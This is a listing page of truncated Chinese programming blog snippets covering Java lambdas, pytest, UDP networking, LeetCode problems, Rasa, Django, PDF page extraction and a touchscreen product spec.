一文搞懂Java8 Lambda表达式、方法引用

Lambda表达式介绍 Java 8的一个大亮点是引入Lambda表达式,使用它设计的代码会更加简洁。通过Lambda表达式,可以替代我们以前经常写的匿名内部类来实现接口。Lambda表达式本质是一个匿名函数; 体验Lambda表达式 我们通过一个小例子来体验下L…

单元测试框架Pytest的基本操作

Pytest基本操作 1. 详解1.1 命名规则:1.2 自定义查找规则:1.3 3种运行方式1.4 执行顺序2. 断言2.1 定义2.2 断言的规则3. mark3.1 mark的作用3.2 mark的标记方式3.3 注册标签名3.4 skip跳过标记4. pytest的参数化5. pytest的夹具(fixture测试夹具)5.1. 作用5.2. 夹具应用场…

Java网络编程:UDP通信篇

目录 UDP协议 Java中的UDP通信 DatagramSocket DatagramPacket UDP客户端-服务端代码实现 UDP协议 对于UDP协议,这里简单做一下介绍: 在TCP/IP协议簇中,用户数据报协议(UDP)是传输层的一个主要协议之一&#xf…

LeetCode hot100-57-G

17. 电话号码的字母组合 给定一个仅包含数字 2-9 的字符串,返回所有它能表示的字母组合。答案可以按 任意顺序 返回。给出数字到字母的映射如下(与电话按键相同)。注意 1 不对应任何字母。不会,放IDEA里执行了一下大概理解了流程 …

《Ai企业知识库》-rasa-初步使用

根据上面的环境准备之后: 《Ai企业知识库》-模型实践-rasa开源学习框架-搭建简易机器人-环境准备(针对windows)-02-CSDN博客 基础的使用: rasa项目初始化: rasa init 首先进入目标文件夹 在dos窗口(目标文件夹下&#xff09…

10Django项目--用户管理系统--改

对应视频链接点击直达 10Django项目--用户管理系统--改 对应视频链接点击直达改a,本质b,修改(更新) 页面相关a,index页面新增操作按钮b,修改(更新)页面c,路由和函数 OVER,不会有人不会吧不会的加Q139400651…

pdf只要其中一页 pdf只要第一页怎么办 pdf只要前几页怎么弄

在现代办公环境中,PDF文件已经成为我们日常工作中不可或缺的一部分。然而,有时我们可能只需要PDF文件中的某一页,而不是整个文件。这时,我们该如何操作才能只获取所需的那一页呢?本文将详细操作方法,帮助大…

全面盘点多模态融合算法及应用场景

关注作者,分享AI全维度知识。作者拥有10年互联网服务架构、AI产品研发经验、团队管理经验,同济本复旦硕博,复旦机器人智能实验室成员,阿里云认证的资深架构师,项目管理专业人士,上亿营收AI产品研发负责人 多…

工控一体机10.1寸显示器电容触摸屏(YA1308101JK)产品规格说明书

如果您对工控一体机有任何疑问或需求,或者对如何集成工控一体机到您的业务感兴趣,可移步控芯捷科技。 一、硬件功能介绍 YA1308101JK产品介绍: YA1308101JK搭载 Android10 主流操作系统,具有系统版本更高、占用内存更低、运行效率…

LeetCode583:两个字符串的删除操作

题目描述 给定两个单词 word1 和 word2 ,返回使得 word1 和 word2 相同所需的最小步数。 每步 可以删除任意一个字符串中的一个字符。 代码 解法1 /*dp[i][j]:以i-1为结尾的wrod1中有以j-1为尾的word2的个数为了让word1和word2相同,最少操作…